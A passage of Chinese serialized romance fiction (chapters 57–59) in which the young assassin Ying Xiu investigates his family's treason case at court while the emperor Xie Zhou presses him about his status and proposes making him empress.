谢舟看着这双眼眸,浊世清明,惟他一人而已。 “我命人给你找卷宗来。” 他说。 这不算什么大事,一个乱臣贼子,既然赢秀在意,如果真能查出什么端倪,为他翻案也未尝不可。 赢秀笑起来,仰头轻轻吻了他一下,少年闭着眼睛,亲得没头没脑,恰好亲在谢舟锋锐的眉弓上。 谢舟低下头,放低姿态,平视着,让他的吻落在自己的唇上。 有皇帝的吩咐,廷尉很快将卷宗送来了,分门别类地堆放在紫檀案上,其中便有关于寿春坞主的卷宗。 赢秀抱着卷宗,席地而坐,看得入神。 上面记载的内容,与九尺爹爹和他说的差不多,瘐明通敌叛国,先帝下令夷其九族,一个个陌生的名字从眼前掠过…… 赢秀的目光停在其中一道名字上面,明昔鸾,被世人称为赦夫人,出身流民,一代赫赫有名的女将,令羌族闻风丧胆。 这是他的母亲。 赢秀盯着那个名字看了很久很久,试图在脑海中想象母亲的面容和身影,想了半天,依旧是朦胧的一片。 他目光向下,看到了当年向先帝检举此案的人—— 一个眼熟的名字,王誉。 此人当年是瘐明身边的行客,自诩瘐明的亲信。 瘐明通敌造反的一系列证据,也是他亲自呈上的。 赢秀脸色骤然一变,王誉,江州别驾,现中书省散骑,琅琊王氏的家臣。 彼时,徐州广陵。 自从南朝今年最后一场大雪过后,琅琊王氏便闭门不出,昔日柳陌花衢的琼花台一片寂静。 堂前赫然摆着一副副棺椁,那是从京师送来的,里面装的是刺客的尸首。 数十位刺客,几乎零落成泥,看不出原貌。 这是警告。 天威浩荡,世上最锋利最可怖的铡刀悄无声息地悬在琅琊王氏的颈侧,随时都可能落下。 越是未知,越是恐怖。 纸钱纷落,像是又下了一场大雪。 长公子一身缟素,坐在那数十副棺椁前。 他分不清哪个是赢秀,生怕赢秀死后受了委屈,便把每一副棺椁里的尸首都当做了赢秀。 他是个没用的兄长,因为得不到运河的漕运之权,被家中的庶出子弟钻了空子,忙于族斗,疏忽了赢秀。 导致赢秀被王道傀命令去做那等危险之事,刺杀暴君,命如悬丝,一去不返。 长公子坐在棺椁前,眉眼苍白,踉跄着起身,送走一副副棺椁。 这是大逆不道之举,家父在世,他穿着一身缟素,替人守灵,这是在明晃晃地诅咒王道傀。 族中议论纷纷,王守真毫不在意。 他亲眼看着棺椁一一下葬,回望琅琊王氏风雨飘摇的百年门庭,抛下象征着长公子印记的玉令,转身离开。 高坐在帷幕后的王道傀听完下人回禀,眼皮都没有睁开:“他是士族子弟,岂能如此心软?” 第57章 第 57 章 你现在究竟是什么身份…… 下人不敢开口, 安静地侍立在一旁。 王道傀举目望向京师的方向,思绪万千。 他听闻赢秀在江州手持符节,那符节是天子所赐, 还以为赢秀与天子有瓜葛, 故而派他前去刺杀, 略作试探。 谁承想…… 不仅损失了一批精锐刺客, 还彻底失了圣心。当今陛下阴晴不定,还不知会怎样处置琅琊王氏。 王道傀闭上眼睛, 深吸一口气, 站起身,“来人, 备马,我要去建章谢氏一趟。” 建康,京师太极殿。 赢秀合上卷宗,脑海中还在回想那个王誉。 他记得, 他曾经在江州府衙中和王誉见过一面,当时宝瓶口溃堤, 王誉想要推他出来替罪。 是时候该找这个王誉问一问了。 只是,眼下他出不了太极殿,又该如何见到王誉呢? 赢秀思索了一番,决定去找谢舟。 他知道谢舟一直在太极殿东堂处理政事, 脚下的寝殿位于西堂, 穿过数重廊庑,便是东堂。 禁军看着金裳少年快步穿过廊庑,纤细身影投射在殿外的纱窗上,想了想,他也没出太极殿, 谁也没有阻拦。 一路畅通无阻,赢秀用了轻功,不过两息便到了东堂附近,他还未来得及让宫人通报,殿内忽而传出一道陌生的声音: “陛下,如今宗祀祚薄,后继乏人,先帝在您这个岁数,膝下早已有了几个皇子皇女……” 赢秀光明正大地偷听了一会儿,总算听明白了,这个大臣正在声嘶力竭地劝谢舟选秀。 ……选秀? 赢秀没有听过这个词,民间谈论皇家,都是隐晦地指责当今陛下残暴恣睢,翻来覆去地说,倒是没有提起过旁的。 守在东堂外的宫人垂着眼帘,不敢看赢秀。别人不知道,他们这些在太极殿值守的宫人倒是一清二楚。 这位是陛下豢养的禁脔,灵秀无俦,不知是何出身来历。唯一知道的便是,他是在陛下血洗太极殿那一日之后出现的。 听闻那日出现了刺客,意图刺杀陛下,结果被禁军守株待兔,杀了个一干二净。 事后宫人进去清洗宫殿,只看见满地的血腥。 关于赢秀的身份,他们隐隐有所猜测,却不敢说出口。 倘若陛下要选秀,也不知这少年究竟是何下场…… 赢秀看着宫人莫名变得同情的视线,心里冒出大大的疑惑。 还不等他问出口,殿内骤然死寂,那位大臣的声音消失了,不远处的恢宏殿门缓缓打开,赢秀循声望去,看见禁军拖着一道瘫软的身影走了出来。 不知是不是他看花了眼,那道身影后面,似乎绵延着长长的血痕。 长久的寂静过后,东堂内又传出声音,那些大臣继续论政,说了半天,都是在说绥靖安边,眼下南北互市,羌人为了得到南朝的粮食,必定会安分守己。 赢秀立在庑廊下,听了一会儿,听着听着,九尺爹爹说过的话再度浮现在耳边—— 南朝的士族,一心苟安江左,生怕瘐明打多了胜战,手握兵权,迟早撼动士族的地位,于是联合起来布局算计他…… 一旦兴起兵燹,受苦的还是百姓,倘若一味地苟安,难保羌人不会举兵进犯。 莫名的,赢秀想起了涧下坊那些翼洲百姓说过的话。 瘐明当年带着他们远赴江左,离江时立在船头,迎着江风,信誓旦旦说有朝一日,还会带他们回来,重返故土。 ——瘐明已经身死,没有人会再带他们回家了。 这个念头让赢秀心里堵堵的,仿佛压了一块石头,以至于他没有察觉到四面不知何时已经鸦雀无声,脚步声重叠响起,殿门内走出一位位官员。 裘袍重叠,满朝朱紫。 官员们手举笏板,低眉垂首,径直往对面的庑廊走去,就在他们转身,倒是有几个年轻的官员余光中看见了远处的赢秀。 金裳博带,少年风流,眉眼灵秀,宛如一柄秀剑,凌厉地横插在肃炤宫闱中。 最要紧的是,他并没有刻意放低视线,低眉垂首,而是坦然地直视着东堂,神态气度,倒像是身处自家庭院。 ——这是哪家的公子? 官员们不约而同地想着,没人敢前去和他寒暄,最大胆的也不过是转身时多停留了一会儿,抬眸看了那少年一眼,又迅速收回目光。 那群官员在看他。 赢秀对视线很敏锐,他立在廊下,遥遥看着这群缁冠素履的朝臣消失在庑廊尽头。 宫侍神不知鬼不知地出现在他身侧,轻声提醒:“郎君,陛下让您进来。” “哦!”赢秀收回目光,跟着宫侍走了进去。 东堂饰高璧红,邃宇朱雕,穹顶有数丈之高,愈往上愈高,只能沿着丹犀一级级往上仰视,远远俯瞰,依稀能看见璁珑垂帷后,宝座恢宏。 立在原地,只觉自己分外渺小,仿佛一举一动都被宝座之上的人收之眼底。 赢秀倒没什么感觉,第一反应是这宫殿真大,真高! 那朱红华丽的台阶可真长。 难道谢舟每日在此议政,都要爬这么高的台阶么? 赢秀决定暂时原谅谢舟比自己长得高这件事,他径直走上台阶,伸手拨开珠帘,探进一个脑袋:“谢舟!” 帝王端坐在宝座之上,垂眸看了他一眼,赢秀不知怎么,竟然有些紧张。 他总感觉穿着缁色九龙衮服,头戴冠帻,端坐宝座的帝王,与他的谢舟不太像。 下一刻,他悬着的心便稳稳落进了胸膛里。 谢舟起身,伸手拉着他坐下。 骤然被冰冷修长的指尖触碰,赢秀还未反应过来,便已经坐在谢舟腿上。 属于皇帝的龙椅很宽敞,足以两人并排而坐,赢秀扭动着,试图从谢舟腿上下来。 对方语调平静,往日冷沉的声线多了一丝低哑:“别动。” 赢秀愣了一下,局促地坐着,不敢再乱动了。 他知道谢舟不喜欢隐瞒,也不拐弯抹角,直接说出来意:“我想见王誉。” 中书省散骑,琅琊王氏的家臣。 谢舟没有立刻答应,低声问赢秀,“你想用什么身份见他?” ……什么身份? 瘐明的遗孤,琅琊王氏的刺客,还是…… 赢秀头一次意识到一个问题,他现在,究竟是以什么身份,留在这座恢宏宫闱中的? 他想了一下,道:“都行。” 都行,什么都行,让他见到王誉,他自然有办法让他开口。 谢舟低头,这个角度只能看见少年乌黑柔软的发旋,像墨一般,尽数倾斜在他怀里。 赢秀看不见谢舟的目光,却本能地感觉到一丝危险,他稍微有点不安,想到身边人是谢舟,又慢慢放松下来。 头顶陡然响起一道温凉的声音: “——什么叫都行?” 这是罕见,一向温润包容的谢舟竟然会步步紧逼,一直追问同一个问题。 出于直觉,赢秀没有立刻回答他,斟酌了片刻,认真道:“都可以,什么身份都可以。” 话音刚落,他便听见头顶传来皇帝的叹息: “你不明白寡人的意思。” 赢秀不知道谢舟在闹什么脾气,他只觉得坐在谢舟腿上,骤然变得局促不安。 少年兀自站起身,想要转身面对身后的帝王。 他刚转过身,对方便攥住他的手,强势地逼着他继续坐下。 这已经不是坐了,准确来说,赢秀只能跪在他腿上,面对面地仰视他。 这是一个古怪,又无比亲密的姿势。 两人的距离贴得极近,赢秀仰着头,甚至能看清谢舟低覆的长睫,根根分明。 一个不合时宜的想法冒了出来,他想要数一数谢舟的睫毛。 还没等他开始数,对方便已经低下头,俯视他,目光牢牢地摄住他。 在这样平静,密不透风的视线之下,赢秀莫名感觉,就连呼吸都变得粘稠了。 他眼眸颤了颤,有些不敢和他对视。 然而现在这个姿势,无论他看向何处,都能感受头顶冰冷炙热的视线。 “赢秀,”谢舟平静道:“你就从来没有想过,你现在究竟是什么身份?” 他语气澹然无波,听不出异样,带着某种难言的蛊惑,充满耐心的循循善诱。 “啊?”赢秀一脸茫然,脱口而出:“我不是你的眷侣么?” 话音甫落,少年骤然意识到自己说了什么。 早在入宫刺杀前夕,他便已经和谢舟提了分手,谢舟也答应了。 严格来说,他们现在什么都不是。 充其量,也只能算是刺杀被擒的刺客,与被刺杀未遂的南朝帝王。 赢秀脸色倏忽苍白,脑袋嗡嗡,谢舟突然提起这个,难不成是后悔了,要把他拖出去斩了? ……好吧。 希望谢舟让他们斩得快一点,他怕疼。 跪坐在帝王膝上的少年闭上了眼睛,俨然是一副乖乖等死的模样,等了半天,也没等到皇帝把自己拖出去处死。 赢秀大着胆子,偷偷摸摸睁开眼,正好撞上谢舟冰冷的视线,居高临下的审视。 帝王眸色漆黑,也不知在想些什么。 “他们让我选秀,你说,”面无表情的帝王霍然问怀里的刺客:“寡人该不该选?” 第58章 第 58 章 你有没有想过当寡人的皇…… “选秀?”说实话, 赢秀不知道选秀究竟是什么意思,他抬起眼睫,观察谢舟的神色, 看不出有何异常, “你自己决定就好啦。” 他自认这句话说得毫无错处, 帝王冷沉的眸光落在他身上, 静静地打量他片刻:“你很高兴?” ……又关他什么事? 赢秀后知后觉地意识到,谢舟现在也许有点不高兴。至于为什么不高兴, 他不知道。 难不成谢舟不喜欢选秀, 朝臣逼着他选? 赢秀感觉自己发现了真相,安慰谢舟:“你要是不喜欢, 就不选。” 谢舟:“……” 他怎么感觉赢秀说了他打算说的话。 帝王昳丽威仪的眉眼黑沉沉,温柔的表象下,是冰玉之质,声音依旧平静: “你没什么想说的?” 赢秀皱眉, 他隐隐感觉到谢舟似乎想让他说些什么。可是他不直说,他怎么知道他在想什么。 “你想让我说什么?”少年直接问道。 谢舟沉默了, 漆黑眼底倒映着少年亮晶晶的眼眸,赢秀是真心实意地问他,究竟想让他说什么。 他是真的不知道,还是真的不妒忌? 想到后者, 谢舟眯起眼, 俯视着赢秀,试图从他脸上寻找到一丝作伪的痕迹。 赢秀同样在望着他,等待着他的回答,清澈的眼眸中满是期待,仿佛谢舟想听什么, 他都会说出来。 “……你知道选秀是什么意思么?” 两相对视,帝王仿佛意识到什么,低声问道。 赢秀:“(⊙o⊙)” 他抬眸看了看谢舟,试图从他脸上找到答案,却只看见对方平静无波的脸,硬着头皮解释道:“选秀就是……选秀,就像那些大臣说的一样。” 赢秀生怕谢舟会问他那样是哪样,他苦思冥想了一会儿,还不等他想出个子丑卯寅,头顶骤然传来一阵低笑,帝王看着他,露出一个极淡的笑容。 谢舟耐心地解释:“选秀就是挑选各地佳丽,以充六宫。如果我选秀的话,宫里就会多出很多妃嫔。” 赢秀愣了一下,呆呆地问他:“那你要选吗?” 皇帝和妃嫔,听起来比较合适,皇帝和刺客,他好像没有听过这样的搭配。 赢秀有点低落,如果谢舟不是皇帝就好了,他可以把他打包带走。 可是没有如果,即便他要走,他也只能一个人走。 “倘若不选秀,宫里就没有妃嫔,也没有皇后,”帝王的声音从高处传来,明明离得很近,却给赢秀一种距离很远的错觉。 他点了下头,顺着帝王的话往下说:“那确实该选。” 在他看不到的地方,谢舟神色阴沉,昳丽冷艳的眉眼隐隐阴鸷,平静下似有暗流涌动。 赢秀低着头,跪坐着,等了很久,也没等到头顶传来动静,他犹豫着要不要往上看,脑袋骤然一沉。 冰冷的大掌缓缓覆下,落在他柔软的发旋上,轻轻地抚摸: “你回去吧,好好想想。” 好好想想,你究竟是什么身份。 赢秀站起身,想要从谢舟腿上爬起来。许是跪得太久了,小腿发麻,他不得不扶着谢舟的肩膀,摇摇晃晃地起身。 东堂内的宫侍低头,不敢看垂帷后的宝座,天子宝座,陛下竟然让那位郎君同坐。 可想而知,那郎君究竟有多受宠。 他们还以为,那郎君应当手段了得,乖顺妩媚,谁知,反倒像是个不开窍的榆木脑袋。 倒是他们嗜杀成性的陛下,温声细语,百般引导。何曾见过陛下用这个语气说话,听着就渗人。 璁珑晃动,赢秀从帷幕后走了出来,他慢慢走下丹犀,脑海里还想着谢舟方才说的话,让他好好想想。 ……想什么? 选秀? 有他一个秀还不够吗? 这个念头一闪而过,赢秀骤然明白了什么,三步做两步跳上台阶,拨开垂帷:“谢舟!我知道了!” 巍峨殿宇中,少年发间金缎飘扬,衣袂逶迤,眼眸满是认真,“你已经有一个秀了,你还要选秀吗?” 向来不动声色的帝王垂眸,漆黑眸底落进一点金色,“这就是你想到的?” 赢秀维持着拨开帷幕的动作,蹙眉思索,半天也想不出来什么,只能冲谢舟眨了眨眼。 谢舟站起身,无奈地笑了一下。 他想要赢秀产生妒忌,小心翼翼地祈求他的爱。 没想到,到头来失控的反而是他。 不再提选秀之事,谢舟平静道:“我会安排王誉见你。” 谢舟对他真好。 赢秀喜滋滋地凑了上去,踮起脚尖,仰头亲吻谢舟。 谢舟对此并没有什么反应,安静地阖上眼帘,任凭一个蜻蜓点水似的吻,轻轻落在他的眉心上。 翌日,建康延尉狱。 王誉一身绣禽皂服,面带风尘,坐在窄牢中,面前摆着一卷摊开的空白卷牍。 昨夜,他刚从门下省下值归来,就连官服也来不及脱,悬镜司执刀登门,不由分说地将他请进延尉狱。 足足一夜,无人提审,也无敲打奚落,漆黑的窄牢中,看不见任何一个人。 目之所至,就连狱卒也看不见。 估摸着天光微亮,他睁开眼,看见了面前凭空出现的卷牍和笔墨。俨然是要他写些什么,到底要写什么?幕后之人究竟想看什么? 愈是未知,愈是恐怖。 许是人老了,忍不住抚今忆昔。 身下这座窄牢让王誉想起当年。 那日,他来狱中给不知死活的上司送行,多可怜啊,前不久还是骑着高头大马凯旋归来的将军,现在却沦为阶下囚。 那可是凌迟,削得只剩白骨,他的眼眸还是那么亮。 亮得惊人,人间自有浩然正气,在天为星辰,在地为河岳。 那人死了这么多年,他还清晰地记得这双眼睛,记得那一瞬间的震撼,敬服,恐惧,忏悔,叹息…… 远处遥遥传来脚步声,伴随着一阵叮呤当啷的轻响,王誉循声看去,烛火微茫的廊外先是出现一角金色衣袂,随后露出那人大半个身形。 王誉瞳孔骤缩,那人竟然是赢秀,那双眼睛……和记忆中的重叠在一起,分毫不差。 一群人小心地簇拥着赢秀,赢秀倒是气定神闲,让人把狱门打开。 那群人迟疑了一下,听话地打开门。 王誉表面平静,心中已然掀起惊涛骇浪,别人不知道,他倒是清楚得很,这些人都是悬镜司的暗卫,平日神出鬼没,气势可怖。 按理来说,他们只会听从那位的安排,又怎么可能对赢秀言听计从? 顶着王誉震惊的目光,赢秀穿过狱门,走到他面前,扫了一眼空白的卷牍,又看了看地上打泼的墨。 金裳少年静静地立在他面前,沉默着俯视他。 地牢中一片死寂,无形的威压让王誉忍不住开口:“某是朝廷命官,你们无缘无故地压着某下狱,此事延尉署可曾知情?” 赢秀笑了一下,很轻的笑容,却让王誉一颤,单凭那个笑容,他便知道自己已然落了下乘。 …… 半刻钟后,赢秀走出延尉狱,王誉的嘴很硬,但负责审讯的刑名还是帮他问出了一些东西。 比如,当年寿春坞主案是王谢两家主导。又比如,明昔鸾还活着。 他的生母,响名南北的女将军,还活着。 赢秀几乎是迫不及待地将这个消息告诉了谢舟,谢舟没太大的反应,仿佛早已知情,“我已经派人去找了。” 他向来隐忍含蓄,在事情没做成之前,不会提前说出来。 赢秀一愣,“你早就知道了?”他没想到这么重要的消息,谢舟竟然会瞒他。 坐在案前的谢舟合上奏折,看向他,平静地解释:“我不想让你失望。” 燃起希望,又被再度磨灭,那是一件很痛苦的事。 他不想让这种事发生在赢秀身上。 话虽如此,赢秀还是有些怏怏不乐,闷闷地点了头,语气认真:“下次你一定要告诉我。” 十几年来,何曾有人胆敢对帝王说过这种话,静立在不远处的太监总管冷汗津津,旁人或许不了解陛下的性情,他可是从小看着陛下长大的。 外头说陛下专横独断,暴虐残忍,冷漠严苛,乃是千古暴君……那都是真的。 郎君胆子也太大了,竟然这样对陛下说话。 太监总管暗自为赢秀捏了一把汗。 孰料,帝王轻声对赢秀道:“好。” 赢秀满意地亲了他一下,眼眸亮晶晶的,“谢舟,我好喜欢你。” 直白,率真,突如其来的告白。 那一刻,谢舟听到了胸膛深处传来的心跳声。 他一脸平静,不动声色地“嗯”了一声,在赢秀看见他泛红的耳尖之前,迅速转移话题:“接下来,你想怎么做?” 王誉说,寿春坞主案背后是琅琊王氏和建章谢氏,可是却没有证据,不能提出翻案。 赢秀想了想,神神秘秘地靠近谢舟,在他耳边轻声说了些什么。 与此同时,寿康宫。 太皇太后谢氏静静地倚靠在临窗的矮塌上,眉眼慈悲,垂首翻看佛经。 当今陛下厌恶鬼神,杀僧灭佛,少年时甚至还一度把佛经列成禁书。就连现在,宫里宫外也没有多少人敢明目张胆地看佛经。 女官动作轻巧地掀起纱帷,走入殿内,立在谢氏身边,低声说了些什么。 听闻皇帝又搁置了选秀,谢氏倒是没什么反应。皇帝向来如此,不近女色,也不好男风,清心寡欲,平等地视天下众生为蝼蚁。 女官接下来说的话,却让谢氏微微眯起眼:“你是说,他在太极殿养了一个人?” 太极殿是天子寝殿,固若金汤,密不透风,想要从中打探消息难如登天,就连那人是男是女,是老是少,也探不出蛛丝马迹。 看来,那个人对皇帝来说,当真有些特殊。 谢氏搁下佛经,再过几日便是年宴了,按照惯例,皇帝会在太极殿正殿举行官箴。 她动用暗棋,设法见一见那个被藏起来的人,应当不难。 不管是男子还是女子,一旦脱离了皇帝的保护…… 太极殿,西堂。 赢秀狠狠打了个喷嚏,翻了个身,抱住身旁的谢舟,懒洋洋地问他:“再过几日就是年宴了?” 到时候谢舟在前殿举宴,他一个人在西堂吃一大桌子菜,想想就幸福。 谢舟轻轻颔首,“你想好用什么身份出席了么?” 赢秀一愣,一想到要面对那么多人,不免有点犯难,随口道:“那我……悄悄坐在你后面,你吃东西的时候给我送一点就行了。” 少年又一次回避了这个问题。 毕竟,他在这个偌大的宫廷里没有身份,说是刺客,估计要落得个就地诛杀的下场,说是眷侣,究根结底,皇后才是皇帝的眷侣。 就这么稀里糊涂地过吧,美人宫殿,佳肴玉馐,倒也快活。 赢秀心大,他眼里只看到自己拥有的,不会去注意自己没有的。 乐知天命,豁达开朗。 ——吃东西给他送一点就行了。 他怎么觉得,赢秀倒像是他养的一只小狗。 黑暗中,谢舟静静地凝视着赢秀,没在他脸上看到一丝一毫的伤心。 算了,他不主动要,他可以主动给。 “赢秀,”年轻暴虐的帝王问怀里的少年,“你有没有想过,当寡人的皇后?” 第59章 第 59 章 是寡人错了 “……皇后?”赢秀从未想到, 有朝一日,他竟然会成为南朝的皇后,听起来多少有些惊世骇俗, 犹豫道:“可是我是男子。” “那又如何?”帝王低声问道, 语气散漫, 仿佛这些在他看来, 都不重要。 “而且,我还是刺客……”两人侧躺在龙床上, 赢秀面对谢舟, 仰头看他。 少年在认真思索自己当皇后这件事究竟会遇到哪些阻碍,帝王却毫不在意:“那些都不重要, 重要的是,寡人让你当。你愿不愿意?” 说到最后一句话,帝王放轻了声音,湛如冰玉的声线, 在寂阒的深夜中格外蛊惑。 赢秀咽了一口唾沫,心里不知道为什么有点紧张, 仿佛面对的不是朝夕相见的枕边人,而是噬人心魄的冷艳鬼魅。 他情不自禁地想要说出愿意二字,话到嘴边,又不敢开口, 灵机一动, 说道:“可是我今年才十七岁,恐怕不能胜任南朝的皇后。” 当皇后听着就很累,还不如躺在太极殿什么也不干。 “不需要胜任,”谢舟仿佛能洞察他心底的念头,“你什么也不用做, 寡人只要你愿意。” 无论赢秀愿不愿意,都不会改变他的主意。但是,一个合格的眷侣,应当学会征求伴侣的意见。 赢秀想象了一下,如果什么也不用做的话……其实也不是不可以考虑。 他犹豫了一会儿,目光落在谢舟身上。 谢舟是个冷艳美人,一身白色亵衣,卧在枕侧,冷墨似的漆发流水般倾泻,黑发雪肤,五官昳丽,勾魂摄魄。 赢秀闭了闭眼,谁能忍心拒绝谢舟?谁又拒绝得了谢舟? 他睁开眼,哄孩子般对谢舟说道:“等我解决了这些事,就当你的皇后,好不好?” 少年语气认真,就连他自己也没发现,他话里充满了宠溺。 帝王伸手轻轻抚摸赢秀的鸦发,指尖向下,虚虚落在他微微低陷的腰窝上,缓缓收束,箍紧,彻底将他揽在怀中,“嗯。” 对赢秀,他还算有耐心。 感受到谢舟的动作,赢秀有些无奈,谢舟就是粘人,他只能多宠着点。 他伸出一只手,回抱谢舟,发现对方的肌肤出奇的冰冷,温润如冷玉,没忍住多摸了两下。 两人面对面拥抱着,赢秀的脑袋靠在谢舟的胸膛上,连带着鸦发也铺了谢舟满怀,几乎亲密无间。 烛影氤氲,一灯如豆。 这边温情脉脉,那头却是如蹈水火。 广陵,琼花台,王道傀站在水榭上,褒衣博带,负手而立。 他目光深沉,面朝一顷溪水,身后,是汇报消息的心腹,“主公,王誉被悬镜司押到了延尉狱。” ……王誉? 一个跟了他十几年的家臣,当年还帮他扳倒了一块巨大的绊脚石,为他做了不少事。 王道傀面皮紧绷,胸膛的起伏沉得几乎看不出弧度,“你看着办吧。” 心腹心领神会,主公尚玄,信佛家的因果报应,从来不会直言杀人,只会叫他们看着办。 “属下明白。” 建康,延尉狱门口。 王誉走出刻满獬兽的铜门,整了整衣冠,端的是一派高居庙堂的武将风骨。 一旁,悬镜司的人对他笑脸相迎,语气客气,俨然把他当成了座上宾。 愈是如此,王誉心中愈是惴惴不安,万一……万一主公以为他吐露了当年的秘辛罪证,把他当成悬镜司的朋党,他这条性命,只怕难保。 悬镜司的人只是微笑着,目送他离开。 当夜,铜门再次被叩响,一道血淋淋的身影急促拉动铜环:“我说!我什么都说!” 那人赫然是白日才刚刚出狱的王誉。 一回到家中,他便遭到了来自主公的刺杀。 铜门缓缓敞开,上首象征着公义的獬兽张着利齿,微笑着俯视他。 这一夜人仰马翻,京畿内外不知有多少人不得安眠,赢秀倒是睡得很好。 他懒洋洋地坐起身,身旁空无一人,谢舟早已去上早朝了。 起得比鸡早,睡得比狗晚,这种日子也不知道谢舟是怎么过下去的。 内监总管小心翼翼地走进来,远远立在殿门口,手里捧着瘦了一圈的鸱鸮。 这是今日一早飞到太极殿的,守殿的禁军不认识它,还想拉弓射下,幸好他认出这是郎君养的鸟,连忙救了下来。 赢秀偏头,一眼便看见了鸟,他连靴子也来不及穿,跣足走过去,伸手就要接过鸱鸮。 内监总管退了一小步,略微偏头,跟在身后的小内侍立马呈上托盘。 总管动作小心地将鸟放在托盘上,又将托盘置于不远处的长案上,这才笑着朝赢秀道:“郎君,这是奴婢一早在殿外发现的。” 赢秀眼睁睁看着内监总管搞了一通没必要的举动,心想这大概是他的习惯吧。 他礼貌道了谢,从长案上抱起鸱鸮,却无论发现自己走到哪,那几个内监都会远远退开,退避三舍,仿佛他是什么洪水猛兽。 赢秀:“?” 他挂心着鸱鸮,顾不上追问他们,抱着鸟转身走回西罩间,取出上面的信条,想要看看王守真写了什么。 缓缓摊开信条,赢秀忽然有种不好的预感,他怎么觉得,这好像是他上次寄出去的,就连粘合处的印记也不曾改过。 信条被彻底打开,赢秀的心凉了半截,这确实是他送出去的信条,甚至无人打开。 ……这是怎么回事? 王守真出事了? 一时间,这个念头萦绕在赢秀脑海中,他很是不安,一直被他忽略的问题在这一刻显露无疑—— 王守真也是琅琊王氏的人,血脉相连,有着千丝万缕的关系。 他想查琅琊王氏,必然会碰上王守真。 赢秀望着那张在风雨里浸透的纸条,什么也没说。 南朝边关,风雨如晦。 以长江为界,守天险以拒戎狄。 粗犷的百夫长不耐烦地呼斥着新来的士卒,“动作快点,跟上!” 那士卒文雅俊秀,一看就是士族出身,也不知这种贵族上边关找什么乐子。 “来了!” 王守真一身短褐,快步登上舷梯,这是巡防的艨艟,巡的是南朝的疆域,直接面对凶恶的羌族。 历来,埋骨长江之人数不胜数。 他径直登上艨艟,没有回头。 身后风吹雨打,说不尽的波澜诡谲,都被绵延不绝的浩荡长风吹散了。 长风一路南下,从边关吹到嵯峨宫闱,哗哗吹动赢秀面前的卷宗。 他已经盯着这些卷宗反复看了许久,看得眼睛发涩,终于眨了眨眼,眼睫合拢,一声细微的响。 赢秀不再去纠结,他只想知道王守真的安危,至于别的,日后再说。 谢舟下晚朝时,时辰已经不早了,夕阳微斜,他刚踏入殿内,只看见金裳少年搬了一个杌子,乖乖地坐在殿前等他。 赢秀眼眸明亮,蹭的站起身,直勾勾地望着谢舟:“你回来啦!” 谢舟不动声色地走近,低眉看向赢秀,将他纳入自己的阴影中,“在等我?” “嗯!”赢秀点头,小心翼翼道:“那个……”他犹豫着,思索着措辞。 谢舟耐心地等待。 “你能帮我一个忙吗?”少年语气很客气,用商量的口吻请求他:“我想知道长公子现在如何。” ……长公子? 那位琅琊王氏的子弟。 帝王不露痕迹地蹙眉,尽管不想让赢秀知道,他还是没有隐瞒,平静地陈述:“他失踪了。” 失踪了? 赢秀脸色微微一变,下意识追问:“什么时候失踪的?” 谢舟没有立刻回答他,“赢秀,”帝王的眉眼平静,轻声问道:“你在质问寡人?” “我没有,”赢秀解释道:“我只是想知道他究竟怎么了。” 看出谢舟不太高兴,赢秀像小尾巴一样跟在谢舟身边,语气认真:“在我心中,你才是最好的,我最喜欢你。” 帝王停下脚步,不再继续往前走,跟在他身后的赢秀来不及停下,险些撞上去,捂着脑袋,眼底冒出一点晶莹。 赢秀:“(QnQ)” 谢舟拿他没有办法,只能转过身,伸手轻轻抚摸他的脑袋,“撞疼了?” “疼,”赢秀眨眨眼,努力地挤出一点泪花,委屈巴巴道:“可是我的心更疼。” 谢舟:? 他骤然轩眉,俯下身,隔着衣裳,指尖触碰赢秀的胸膛,不容置喙:“我让太医院给你看看。” 赢秀沉默了,辩解道:“我不是说那种疼。” 谢舟的目光上移,落在赢秀的脸上,神色罕见的严肃,眼神赫然在问:“那是哪种疼?” 不出一息,整座太医院的太医呼啦啦地来了,扑通跪了一地,又呼啦啦地走了。 赢秀想要解下手腕的红绳,方才那些太医轮番上阵,用这个悬丝诊脉,勒着他的脉搏,有点疼。 还让他想起了一些并不久远的回忆—— 鲜血,漆黑,吊绳,疼痛…… 闭上眼,满殿煌煌烛光还在眼前晃动。 赢秀骤然睁眼,准备解绳,却发现单手着实不好解开,还不等他开口,谢舟已经到了他面前,坐在他身侧,低头为他解绳。 一条修长纤细的红绳,陷进细白皮肉,像是陷进了雪中。 赢秀倒是没怎么注意自己,他低着头,看着谢舟的手。 谢舟的手很漂亮,骨骼分明,线条流畅,蕴含着难言的力量,虬结的青筋冰冷昳丽,像是天工鬼斧雕琢出的冰玉。 谢舟自然察觉到了赢秀的目光,他没有开口,安静地解开精巧的绳结,剥出细线。 解开的红线被随意放在一旁,帝王盯着赢秀手腕上的红痕看,细细的一道,殷红一片。 不知要过多久才能消掉。 赢秀凝望着谢舟,谢舟低着眉眼,鬓边发丝层叠落下,淡极生艳,当真是极美。 两人静静望着彼此,谁也没有说话。 似是想起什么,赢秀忍不住开口问道:“他究竟怎么了?” 张口长公子,闭口他究竟怎么了,谢舟隐忍不发,“不知为何,他和王道傀闹掰了,抛弃身份远走他乡,下落不明。” 他当然知道,王守真之所以会和王道傀决裂,是因为他以为赢秀身死,违背礼法,亲自给“赢秀”守灵送葬。 人死了,做这些表面功夫,又是给谁看? 帝王漆黑眸底掠过极淡的轻蔑,明面上依旧不动声色。 “他不会以为我死了吧?”赢秀脱口而出,他越想越觉得有这个可能,“长公子见不到我,以为我死在了刺杀中,所以才离开王氏。” ……猜得分毫不差 谢舟甚至有一丝困惑,赢秀更了解他,还是更了解王守真? 现在看来,显然是后者。 帝王从喉咙里发出一声低笑,语气无比平静:“你猜对了。” 赢秀微微睁大眼眸,关注点却不在王守真身上,“你又瞒我!” 少年皱着眉头,少见的恼怒,眼睑泛着淡淡的红,憋着气,转过头,不想再看他。 赢秀面朝朱墙,等了半天,也没等到身后之人开口,他越想越气,忍不住转过身,狠狠把谢舟数落一顿。 一转过头,却看见风华浊世,威仪清淡的帝王正静静地望着他,两人的视线在半空中无声地碰撞。 很轻,却叫赢秀脑袋嗡鸣,就连他,也说不出此刻究竟是什么感受。 他可以和谢舟吵架,却没办法和南朝的帝王吵架,更加为难的是,两者是同一人。 他不怕谢舟,但是他畏惧昭肃帝。 他喜欢谢舟,但他不喜欢昭肃帝。 他愿意做谢舟的眷侣,但他不愿意当昭肃帝的皇后。 ……人怎么可以这么矛盾? 赢秀后知后觉地发现,原来他是这么想的,他喜欢谢舟,惧怕皇帝。 刺客尚且年少,感情淡漠,简单率真得如同三尺刀锋,一寸明光。 于他而言,喜欢就留下,害怕就离开,干脆利落,毫不拖泥带水。 但是离开了皇帝,也离开了谢舟。 